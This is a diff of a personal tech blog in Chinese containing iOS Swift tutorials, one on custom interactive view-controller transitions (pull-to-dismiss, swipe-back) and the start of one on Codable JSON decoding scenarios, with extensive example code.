+    func navigationController(_ navigationController: UINavigationController, interactionControllerFor animationController: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        //這邊無法得知是Pop還是Push 只能從要做的動畫本身做判斷
+        if animationController is push時套用的動畫 {
+            return //UIPercentDrivenInteractiveTransition push動畫的交互控制方法
+        } else if animationController is 返回時套用的動畫 {
+            return //UIPercentDrivenInteractiveTransition pop動畫的交互控制方法
+        }
+        //回傳 nil 即不做交互處理
+        return nil
+    }
+}
+

UIViewController (Present/Dismiss):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+
import UIKit
+
+class HomeAddViewController: UIViewController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+
+        self.modalPresentationStyle = .custom
+        self.transitioningDelegate = self
+    }
+    
+}
+
+extension HomeAddViewController: UIViewControllerTransitioningDelegate {
+    
+    func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        //return nil 即不做交互處理
+        return //UIPercentDrivenInteractiveTransition Dismiss時交互控制方法
+    }
+    
+    func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        //return nil 即不做交互處理
+        return //UIPercentDrivenInteractiveTransition Present時交互控制方法
+    }
+    
+    func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        //回傳 nil 即走預設動畫
+        return //UIViewControllerAnimatedTransitioning Present時要套用的動畫
+    }
+    
+    func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        //回傳 nil 即走預設動畫
+        return //UIViewControllerAnimatedTransitioning Dismiss時要套用的動畫
+    }
+    
+}
+

⚠️⚠️⚠️⚠️⚠️

有實作 interactionControllerFor … 這些方法,就算動畫是非交互(EX: self.present 系統呼叫轉場) 也會 Call 這些方法處理;我們需要控制的是裡面的 wantsInteractiveStart 參數(下面介紹)。

動畫交互處理類 UIPercentDrivenInteractiveTransition:

再來講核心要實作的 UIPercentDrivenInteractiveTransition

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+
import UIKit
+
+class PullToDismissInteractive: UIPercentDrivenInteractiveTransition {
+    
+    //要加手勢控制交互的UIView
+    private var interactiveView: UIView!
+    //當前的UIViewController
+    private var presented: UIViewController!
+    //當托拉超過多少%後就完成執行,否則復原
+    private let thredhold: CGFloat = 0.4
+    
+    //不同轉場效果可能需要不同資訊,可自訂
+    convenience init(_ presented: UIViewController, _ interactiveView: UIView) {
+        self.init()
+        self.interactiveView = interactiveView
+        self.presented = presented
+        setupPanGesture()
+        
+        //默認值,告知系統當前非交互動畫
+        wantsInteractiveStart = false
+    }
+
+    private func setupPanGesture() {
+        let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:)))
+        panGesture.maximumNumberOfTouches = 1
+        panGesture.delegate = self
+        interactiveView.addGestureRecognizer(panGesture)
+    }
+
+    @objc func handlePan(_ sender: UIPanGestureRecognizer) {
+        switch sender.state {
+        case .began:
+            //reset 手勢位置
+            sender.setTranslation(.zero, in: interactiveView)
+            //告知系統當前開始的是手勢觸發的交互動畫
+            wantsInteractiveStart = true
+            
+            //在手勢began時呼叫要做的轉場效果(不會直接執行,系統會抓住)
+            //然後轉場效果有設對應的動畫就會跳到 UIViewControllerAnimatedTransitioning 處理
+            // animated 一定為 true 否則沒動畫
+            
+            //Dismiss:
+            self.presented.dismiss(animated: true, completion: nil)
+            //Present:
+            //self.present(presenting,animated: true)
+            //Push:
+            //self.navigationController.push(presenting)
+            //Pop:
+            //self.navigationController.pop(animated: true)
+        
+        case .changed:
+            //手勢滑動的位置計算 對應動畫完成百分比 0~1
+            //實際依動畫類型不同,計算方式不同
+            let translation = sender.translation(in: interactiveView)
+            guard translation.y >= 0 else {
+                sender.setTranslation(.zero, in: interactiveView)
+                return
+            }
+            let percentage = abs(translation.y / interactiveView.bounds.height)
+            
+            //update UIViewControllerAnimatedTransitioning 動畫百分比
+            update(percentage)
+        case .ended:
+            //手勢放開完成時,看完成度有沒有超過 thredhold
+            wantsInteractiveStart = false
+            if percentComplete >= thredhold {
+              //有,告知動畫完成
+              finish()
+            } else {
+              //無,告知動畫歸位復原
+              cancel()
+            }
+        case .cancelled, .failed:
+          //取消、錯誤時
+          wantsInteractiveStart = false
+          cancel()
+        default:
+          wantsInteractiveStart = false
+          return
+        }
+    }
+}
+
+//當UIViewController內有UIScrollView元件(UITableView/UICollectionView/WKWebView....),防止手勢衝突
+//當裡面的UIScrollView元件已滑到頂部,則啟用交互轉場的手勢操作
+extension PullToDismissInteractive: UIGestureRecognizerDelegate {
+    func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool {
+        if let scrollView = otherGestureRecognizer.view as? UIScrollView {
+            if scrollView.contentOffset.y <= 0 {
+                return true
+            } else {
+                return false
+            }
+        }
+        return true
+    }
+    
+}
+

*關於 sender.setTranslation( .zero, in:interactiveView) 原因的補充點我<

我們需要依據不同的手勢操作效果,實作不同的 Class;若是同個連貫(Present+Dismii)的操作也可包在一起。

⚠️⚠️⚠️⚠️⚠️

wantsInteractiveStart 務必處於符合的狀態 ,若在交互動畫時告知 wantsInteractiveStart = false 也會造成卡畫面;

要退出重進 APP 才會恢復正。

⚠️⚠️⚠️⚠️⚠️

interactiveView 也一定要是 isUserInteractionEnabled = true

可以多加設置確保一下!

組合

當我們把這裡個 Delegate 設好、 Class 建好後就能做到我們想要的功能了。 再來不囉唆,直接上完成範例。

自製下拉關閉頁面效果

自製下拉的好處在能支援市面所有 iOS 版本、可控制蓋板百分比、控制觸發關閉位置、客製化動畫效果。

點右上方 + Present 頁面

點右上方 + Present 頁面

這是一個 HomeViewController Present HomeAddViewControllerHomeAddViewController Dismiss的範例。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
import UIKit
+
+class HomeViewController: UIViewController {
+
+    @IBAction func addButtonTapped(_ sender: Any) {
+        guard let homeAddViewController = UIStoryboard(name: "Main", bundle: nil).instantiateViewController(identifier: "HomeAddViewController") as? HomeAddViewController else {
+            return
+        }
+        
+        //transitioningDelegate 可指定目標ViewController處理或當前的ViewController處理
+        homeAddViewController.transitioningDelegate = homeAddViewController
+        homeAddViewController.modalPresentationStyle = .custom
+        self.present(homeAddViewController, animated: true, completion: nil)
+    }
+
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
import UIKit
+
+class HomeAddViewController: UIViewController {
+
+    private var pullToDismissInteractive:PullToDismissInteractive!
+    
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        //綁定轉場交互資訊
+        self.pullToDismissInteractive = PullToDismissInteractive(self, self.view)
+    }
+    
+}
+
+extension HomeAddViewController: UIViewControllerTransitioningDelegate {
+    
+    func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        return pullToDismissInteractive
+    }
+    
+    func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        return PresentAndDismissTransition(false)
+    }
+    
+    func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        return PresentAndDismissTransition(true)
+    }
+    
+    func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        //這邊無Present操作手勢
+        return nil
+    }
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+
import UIKit
+
+class PullToDismissInteractive: UIPercentDrivenInteractiveTransition {
+    
+    private var interactiveView: UIView!
+    private var presented: UIViewController!
+    private var completion:(() -> Void)?
+    private let thredhold: CGFloat = 0.4
+    
+    convenience init(_ presented: UIViewController, _ interactiveView: UIView,_ completion:(() -> Void)? = nil) {
+        self.init()
+        self.interactiveView = interactiveView
+        self.completion = completion
+        self.presented = presented
+        setupPanGesture()
+        
+        wantsInteractiveStart = false
+    }
+
+    private func setupPanGesture() {
+        let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:)))
+        panGesture.maximumNumberOfTouches = 1
+        panGesture.delegate = self
+        interactiveView.addGestureRecognizer(panGesture)
+    }
+
+    @objc func handlePan(_ sender: UIPanGestureRecognizer) {
+        switch sender.state {
+        case .began:
+            sender.setTranslation(.zero, in: interactiveView)
+            wantsInteractiveStart = true
+            
+            self.presented.dismiss(animated: true, completion: self.completion)
+        case .changed:
+            let translation = sender.translation(in: interactiveView)
+            guard translation.y >= 0 else {
+                sender.setTranslation(.zero, in: interactiveView)
+                return
+            }
+
+            let percentage = abs(translation.y / interactiveView.bounds.height)
+            update(percentage)
+        case .ended:
+            if percentComplete >= thredhold {
+                finish()
+            } else {
+                wantsInteractiveStart = false
+                cancel()
+            }
+        case .cancelled, .failed:
+            wantsInteractiveStart = false
+            cancel()
+        default:
+            wantsInteractiveStart = false
+            return
+        }
+    }
+}
+
+extension PullToDismissInteractive: UIGestureRecognizerDelegate {
+    func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool {
+        if let scrollView = otherGestureRecognizer.view as? UIScrollView {
+            if scrollView.contentOffset.y <= 0 {
+                return true
+            } else {
+                return false
+            }
+        }
+        return true
+    }
+    
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+
import UIKit
+
+//蓋在原本View上得半透明遮罩效果View
+class DimmingView:UIView {
+    override init(frame: CGRect) {
+        super.init(frame: frame)
+        self.backgroundColor = UIColor.black
+        self.alpha = 0
+    }
+    
+    required init?(coder: NSCoder) {
+        fatalError("init(coder:) has not been implemented")
+    }
+}
+
+class PresentAndDismissTransition: NSObject, UIViewControllerAnimatedTransitioning {
+    
+    private var isDismiss:Bool!
+    
+    convenience init(_ isDismiss:Bool) {
+        self.init()
+        self.isDismiss = isDismiss
+    }
+    
+    func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
+        return 0.4
+    }
+    
+    func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
+        
+        guard let toViewController = transitionContext.viewController(forKey: .to),let fromViewController = transitionContext.viewController(forKey: .from) else {
+            return
+        }
+        
+        if !self.isDismiss {
+            //Present
+            
+            toViewController.view.frame.size.height -= 50
+            toViewController.view.frame.origin.y = UIScreen.main.bounds.size.height
+            transitionContext.containerView.addSubview(toViewController.view)
+            
+            let toViewpath = UIBezierPath(roundedRect: toViewController.view.bounds, byRoundingCorners: [.topLeft, .topRight], cornerRadii: CGSize(width: 6, height: 6))
+            let toViewmask = CAShapeLayer()
+            toViewmask.path = toViewpath.cgPath
+            toViewController.view.layer.mask = toViewmask
+            
+            let fromViewpath = UIBezierPath(roundedRect: fromViewController.view.bounds, byRoundingCorners: [.topLeft, .topRight], cornerRadii: CGSize(width: 6, height: 6))
+            let fromViewmask = CAShapeLayer()
+            fromViewmask.path = fromViewpath.cgPath
+            fromViewController.view.layer.mask = fromViewmask
+            
+            
+            let dimmingView = DimmingView(frame: fromViewController.view.frame)
+            transitionContext.containerView.insertSubview(dimmingView, belowSubview: toViewController.view)
+            
+            fromViewController.view.transform = CGAffineTransform(scaleX: 1.0, y: 1.0)
+            
+            UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveEaseOut], animations: {
+                dimmingView.alpha = 0.7
+                fromViewController.view.transform = CGAffineTransform(scaleX: 0.9, y: 0.9)
+                toViewController.view.frame.origin.y = 50
+            }) { (_) in
+                fromViewController.view.transform = CGAffineTransform(scaleX: 0.9, y: 0.9)
+                transitionContext.completeTransition(!transitionContext.transitionWasCancelled)
+            }
+        } else {
+            //Dismiss
+            
+            let dimmingView = transitionContext.containerView.subviews.first(where: { (view) -> Bool in
+                return view is DimmingView
+            })
+            
+            fromViewController.view.frame.origin.y = 50 //or use finalFrame
+            
+            let fromViewSnpaShot = fromViewController.view.snapshotView(afterScreenUpdates: false)
+            
+            if let fromViewSnpaShot = fromViewSnpaShot {
+                fromViewController.view.isHidden = true
+                fromViewSnpaShot.frame = fromViewController.view.frame
+                transitionContext.containerView.addSubview(fromViewSnpaShot)
+            }
+            
+            dimmingView?.alpha = 0.7
+            toViewController.view.transform = CGAffineTransform(scaleX: 0.9, y: 0.9)
+            
+            
+            UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: {
+                dimmingView?.alpha = 0
+                fromViewSnpaShot?.frame.origin.y = UIScreen.main.bounds.size.height
+                toViewController.view.transform = CGAffineTransform(scaleX: 1.0, y: 1.0)
+            }) { (_) in
+                if (!transitionContext.transitionWasCancelled) {
+                    toViewController.view.transform = .identity
+                    dimmingView?.removeFromSuperview()
+                    toViewController.view.layer.mask = nil
+                }
+                fromViewSnpaShot?.removeFromSuperview()
+                fromViewController.view.isHidden = false
+                transitionContext.completeTransition(!transitionContext.transitionWasCancelled)
+            }
+        }
+        
+    }
+    
+}
+

以上就能達到如圖的效果,這邊因教學展示不想弄的路太複雜,所以程式碼很醜,還有很多優化整合的空間。

值得一提的是…

iOS ≥ 13,如果遇到 View 內容有 UITextView,在做下拉關閉動畫時,動畫當中 UITextView 的文字內容會一片空白;造成體驗會閃一下 (影片範例)

這邊的解決方案是在做動畫時用 snapshotView(afterScreenUpdates:) 截圖取代原本的 View 圖層。

全頁右滑返回

在尋找全畫面都能手勢右滑返回的解決方案時,找到個 Tricky 的方法: 直接在畫面上加一個 UIPanGestureRecognizer 然後將 targetaction 都指定到原生的 interactivePopGestureRecognizeraction:handleNavigationTransition*詳細方法點我<

沒錯!看起來就很 Private API,感覺審核會被拒;而且不確定 Swift 是否可用,應該有用到 OC 才有的 Runtime 特性。

還是走正規的吧:

ㄧ樣使用本篇的方式,我們在 navigationController POP 返回時自行處理;添加一個全頁右滑手勢控制配合自訂右滑動畫,即可!

其他省略,只貼關鍵的動畫跟交互處理類別:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+
import UIKit
+
+class SwipeBackInteractive: UIPercentDrivenInteractiveTransition {
+    
+    private var interactiveView: UIView!
+    private var navigationController: UINavigationController!
+
+    private let thredhold: CGFloat = 0.4
+    
+    convenience init(_ navigationController: UINavigationController, _ interactiveView: UIView) {
+        self.init()
+        self.interactiveView = interactiveView
+        
+        self.navigationController = navigationController
+        setupPanGesture()
+        
+        wantsInteractiveStart = false
+    }
+
+    private func setupPanGesture() {
+        let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:)))
+        panGesture.maximumNumberOfTouches = 1
+        interactiveView.addGestureRecognizer(panGesture)
+    }
+
+    @objc func handlePan(_ sender: UIPanGestureRecognizer) {
+        
+        switch sender.state {
+        case .began:
+            sender.setTranslation(.zero, in: interactiveView)
+            wantsInteractiveStart = true
+            
+            self.navigationController.popViewController(animated: true)
+        case .changed:
+            let translation = sender.translation(in: interactiveView)
+            guard translation.x >= 0 else {
+                sender.setTranslation(.zero, in: interactiveView)
+                return
+            }
+
+            let percentage = abs(translation.x / interactiveView.bounds.width)
+            update(percentage)
+        case .ended:
+            if percentComplete >= thredhold {
+                finish()
+            } else {
+                wantsInteractiveStart = false
+                cancel()
+            }
+        case .cancelled, .failed:
+            wantsInteractiveStart = false
+            cancel()
+        default:
+            wantsInteractiveStart = false
+            return
+        }
+    }
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+
import UIKit
+
+class SlideFromLeftToRightTransition: NSObject, UIViewControllerAnimatedTransitioning {
+    
+    func transitionDuration(using transitionContext: UIViewControllerContextTransitioning?) -> TimeInterval {
+        return 0.4
+    }
+    
+    func animateTransition(using transitionContext: UIViewControllerContextTransitioning) {
+        
+        guard let toView = transitionContext.view(forKey: .to), let fromView = transitionContext.view(forKey: .from) else {
+            return
+        }
+        
+        toView.frame.origin.x = -(UIScreen.main.bounds.size.width / 2)
+        fromView.frame.origin.x = 0
+        transitionContext.containerView.insertSubview(toView, belowSubview: fromView)
+        
+        let shadowRect: CGRect = CGRect(x: -4, y: -20, width: 4, height: fromView.frame.height)
+        let shadowPath: UIBezierPath = UIBezierPath(rect: shadowRect)
+        fromView.layer.shadowPath = shadowPath.cgPath
+        fromView.layer.shadowOpacity = 0.8
+
+        UIView.animate(withDuration: transitionDuration(using: transitionContext), delay: 0, options: [.curveLinear], animations: {
+            toView.frame.origin.x = 0
+            fromView.frame.origin.x = UIScreen.main.bounds.size.width
+        }) { (_) in
+            transitionContext.completeTransition(!transitionContext.transitionWasCancelled)
+        }
+        
+    }
+    
+}
+

上拉漸入 UIViewController

在View上上拉漸入+下拉關閉,就是在做類似 Spotify 的播放器轉場效果了!

這部分較為繁瑣,但原理一樣,這邊就不 PO 出來了,有興趣的朋友可參考 GitHub 範例內容。

要說哪裡要注意,大概就是 在上拉漸入時,動畫要確保是使用「.curveLinear 線性」否則會出現上拉不跟手的問題 ;拉的程度跟顯示的位置不是正比。

完成!

完成圖

完成圖

此篇很長,也花了我許久時間整理製作,感謝您的耐心閱讀。

全篇 GitHub 範例下載:

參考資料:

  1. Draggable view controller? Interactive view controller!
  2. 系统学习iOS动画之四:视图控制器的转场动画
  3. 系统学习iOS动画之五:使用UIViewPropertyAnimator
  4. 用UIPresentationController来写一个简洁漂亮的底部弹出控件 (單純只做Present 動畫效果可直接用這個)

若需要參考優雅的程式碼封裝使用:

  1. Swift: https://github.com/Kharauzov/SwipeableCards
  2. Objective-C: https://github.com/saiday/DraggableViewControllerDemo

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS Deferred Deep Link 延遲深度連結實作(Swift)

米家 APP / 小愛音箱地區問題

diff --git a/posts/1aa2f8445642/index.html b/posts/1aa2f8445642/index.html new file mode 100644 index 000000000..207281b42 --- /dev/null +++ b/posts/1aa2f8445642/index.html @@ -0,0 +1,1605 @@ + 現實使用 Codable 上遇到的 Decode 問題場景總匯 | ZhgChgLi
Home 現實使用 Codable 上遇到的 Decode 問題場景總匯
Post
Cancel

現實使用 Codable 上遇到的 Decode 問題場景總匯

現實使用 Codable 上遇到的 Decode 問題場景總匯(上)

從基礎到進階,深入使用 Decodable 滿足所有可能會遇到的問題場景

Photo by [Gustas Brazaitis](https://unsplash.com/@gustasbrazaitis){:target="_blank"}

Photo by Gustas Brazaitis

前言

因應後端 API 升級需要調整 API 處理架構,近期趁這個機會一併將原本使用 Objective-C 撰寫的網路處理架構更新成 Swift;因語言不同,也不在適合使用原本的 Restkit 幫我們處理網路層應用,但不得不說 Restkit 的功能包山包海非常強大,在專案中也用得活靈活現,基本沒有太大的問題;但相對的非常笨重、幾乎已不再維護、純 Objective-C;未來勢必也要更換的。

Restkit 幾乎幫我們處理完所有網路請求相關會需要到的功能,從基本的網路處理、API 呼叫、網路處理,到 Response 處理 JSON String to Object 甚至是 Object 存入 Core Data 它都能一起處理實打實的一個 Framework 打十個。

隨著時代的演進,目前的 Framework 已不在主打一個包全部,更多的是靈活、輕巧、組合,增加更多彈性創造更多變化;因此再替換成 Swift 語言的同時,我們選擇使用 Moya 作為網路處理部分的套件,其他我們需要的功能再選擇其他方式進行組合。

正題

關於 JSON String to Object Mapping 部分,我們使用 Swift 自帶的 Codable (Decodable) 協議 & JSONDecoder 進行處理;並拆分 Entity/Model 加強權責區分、操作及閱讀性、另外 Code Base 混 Objective-C 和 Swift 也要考量進去。

* Encodable 的部份省略、範例均只展示實作 Decodable,大同小異,可以 Decode 基本也能 Encode。

開始

假設我們初始的 API Response JSON String 如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
{
+  "id": 123456,
+  "comment": "是告五人,不是五告人!",
+  "target_object": {
+    "type": "song",
+    "id": 99,
+    "name": "披星戴月的想你"
+  },
+  "commenter": {
+    "type": "user",
+    "id": 1,
+    "name": "zhgchgli",
+    "email": "zhgchgli@gmail.com"
+  }
+}
+

由上範例我們可以拆成:User/Song/Comment 三個 Entity & Model,讓我們組合能複用,為方便展示先將 Entity/Model 寫在同個檔案。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
// Entity:
+struct UserEntity: Decodable {
+    var id: Int
+    var name: String
+    var email: String
+}
+
+//Model:
+class UserModel: NSObject {
+    init(_ entity: UserEntity) {
+      self.id = entity.id
+      self.name = entity.name
+      self.email = entity.email
+    }
+    var id: Int
+    var name: String
+    var email: String
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
// Entity:
+struct SongEntity: Decodable {
+    var id: Int
+    var name: String
+}
+
+//Model:
+class SongModel: NSObject {
+    init(_ entity: SongEntity) {
+      self.id = entity.id
+      self.name = entity.name
+    }
+    var id: Int
+    var name: String
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
// Entity:
+struct CommentEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+      case id
+      case comment
+      case targetObject = "target_object"
+      case commenter
+    }
+    
+    var id: Int
+    var comment: String
+    var targetObject: SongEntity
+    var commenter: UserEntity
+}
+
+//Model:
+class CommentModel: NSObject {
+    init(_ entity: CommentEntity) {
+      self.id = entity.id
+      self.comment = entity.comment
+      self.targetObject = SongModel(entity.targetObject)
+      self.commenter = UserModel(entity.commenter)
+    }
+    var id: Int
+    var comment: String
+    var targetObject: SongModel
+    var commenter: UserModel
+}
+
1
+2
+3
+4
+5
+6
+7
+
let jsonString = "{ \"id\": 123456, \"comment\": \"是告五人,不是五告人!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" } }"
+let jsonDecoder = JSONDecoder()
+do {
+    let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)
+} catch {
+    print(error)
+}
+

CodingKeys Enum?

當我們的 JSON String Key Name 與 Entity Object Property Name 不相匹配時可以在內部加一個 CodingKeys 枚舉進行對應,畢竟後端資料源的 Naming Convention 不是我們可以控制的。

1
+2
+
case PropertyKeyName = "後端欄位名稱"
+case PropertyKeyName //不指定則預設使用 PropertyKeyName 為後端欄位名稱
+

一旦加入 CodingKeys 枚舉,則必須列舉出所有非 Optional 的欄位,不能只列舉想要客製的 Key。

另外一種方式是設定 JSONDecoder 的 keyDecodingStrategy,若 Response 資料欄位與 Property Name 僅為 snake_case <-> camelCase 區別,可直接設定 .keyDecodingStrategy = .convertFromSnakeCase 就能自動匹配 Mapping。

1
+2
+3
+
let jsonDecoder = JSONDecoder()
+jsonDecoder.keyDecodingStrategy = .convertFromSnakeCase
+try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)
+

回傳資料是陣列時:

1
+2
+3
+
struct SongListEntity: Decodable {
+    var songs:[SongEntity]
+}
+

為 String 加上約束:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
struct SongEntity: Decodable {
+  var id: Int
+  var name: String
+  var type: SongType
+  
+  enum SongType {
+    case rock
+    case pop
+    case country
+  }
+}
+

適用於有限範圍的字串類型,寫成 Enum 方便我們傳遞、使用;若出現為列舉的值會 Decode 失敗!

善用泛型包裹固定結構:

假設多筆回傳的 JSON String 固定格式為:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
{
+  "count": 10,
+  "offset": 0,
+  "limit": 0,
+  "results": [
+    {
+      "type": "song",
+      "id": 1,
+      "name": "1"
+    }
+  ]
+}
+

即可用泛型方式包裹起來:

1
+2
+3
+4
+5
+6
+
struct PageEntity<E: Decodable>: Decodable {
+    var count: Int
+    var offset: Int
+    var limit: Int
+    var results: [E]
+}
+

使用: PageEntity&lt;Song&gt;.self

Date/Timestamp 自動 Decode:

設定 JSONDecoderdateDecodingStrategy

  • .secondsSince1970/.millisecondsSince1970 : unix timestamp
  • .deferredToDate : 蘋果的 timestamp,罕用,不同於 unix timestamp,這是從 2001/01/01 起算
  • .iso8601 : ISO 8601 日期格式
  • .formatted(DateFormatter) : 依照傳入的 DateFormatter Decode Date
  • .custom : 自訂 Date Decode 邏輯

.cutstom 範例:假設 API 會回傳 YYYY/MM/DD 和 ISO 8601 兩種格式,兩中都要能 Decode:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
var dateFormatter = DateFormatter()
+var iso8601DateFormatter = ISO8601DateFormatter()
+
+let decoder: JSONDecoder = JSONDecoder()
+decoder.dateDecodingStrategy = .custom({ (decoder) -> Date in
+    let container = try decoder.singleValueContainer()
+    let dateString = try container.decode(String.self)
+    
+    //ISO8601:
+    if let date = iso8601DateFormatter.date(from: dateString) {
+        return date
+    }
+    
+    //YYYY-MM-DD:
+    dateFormatter.dateFormat = "yyyy-MM-dd"
+    if let date = dateFormatter.date(from: dateString) {
+        return date
+    }
+    
+    throw DecodingError.dataCorruptedError(in: container, debugDescription: "Cannot decode date string \(dateString)")
+})
+
+let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)
+

*DateFormatter 在 init 時非常消耗性能,盡可能重複使用。

基本 Decode 常識:

  1. Decodable Protocol 內的的欄位類型(struct/class/enum),都須實作 Decodable Protocol;亦或是在 init decoder 時賦予值
  2. 欄位類型不相符時會 Decode 失敗
  3. Decodable Object 中欄位設為 Optional 的話則為可有可無,有給就 Decode
  4. Optional 欄位可接受: JSON String 無欄位、有給但給 nil
  5. 空白、0 不等於 nil,nil 是 nil;弱型別的後端 API 需注意!
  6. 預設 Decodable Object 中有列舉且非 Optional 的欄位,若 JSON String 沒給會 Decode 失敗(後續會說明如何處理)
  7. 預設 遇到 Decode 失敗會直接中斷跳出,無法單純跳過有誤的資料(後續會說明如何處理)

[左:”” 右:nil](https://josjong.com/2017/10/16/null-vs-empty-strings-why-oracle-was-right-and-apple-is-not/){:target="_blank"}

左:”” / 右:nil

進階使用

到此為止基本的使用已經完成了,但現實世界不會那麼簡單;以下列舉幾個進階會遇到的場景並提出適用 Codable 的解決方案,從這邊開始我們就無法靠原始的 Decode 幫我們補 Mapping 了,要自行實作 init(from decoder: Decoder) 客製 Decode 操作。

*這邊暫時先只展示 Entity 的部分,Model 還用不到。

init(from decoder: Decoder)

init decoder,必須賦予所有非 Optional 的欄位初始值(就是 init 啦!)。

自訂 Decode 操作時,我們需要從 decoder 中取得 container 出來操作取值, container 有三種取得內容的類型。

第一種 container(keyedBy: CodingKeys.self) 依照 CodingKeys 操作:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
struct SongEntity: Decodable {
+    var id: Int
+    var name: String
+    
+    enum CodingKeys: String, CodingKey {
+      case id
+      case name
+    }
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.id = try container.decode(Int.self, forKey: .id)
+        //參數 1 接受支援:實作 Decodable 的類別
+        //參數 2 CodingKeys
+        
+        self.name = try container.decode(String.self, forKey: .name)
+    }
+}
+

第二種 singleValueContainer 將整包取出操作(單值):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
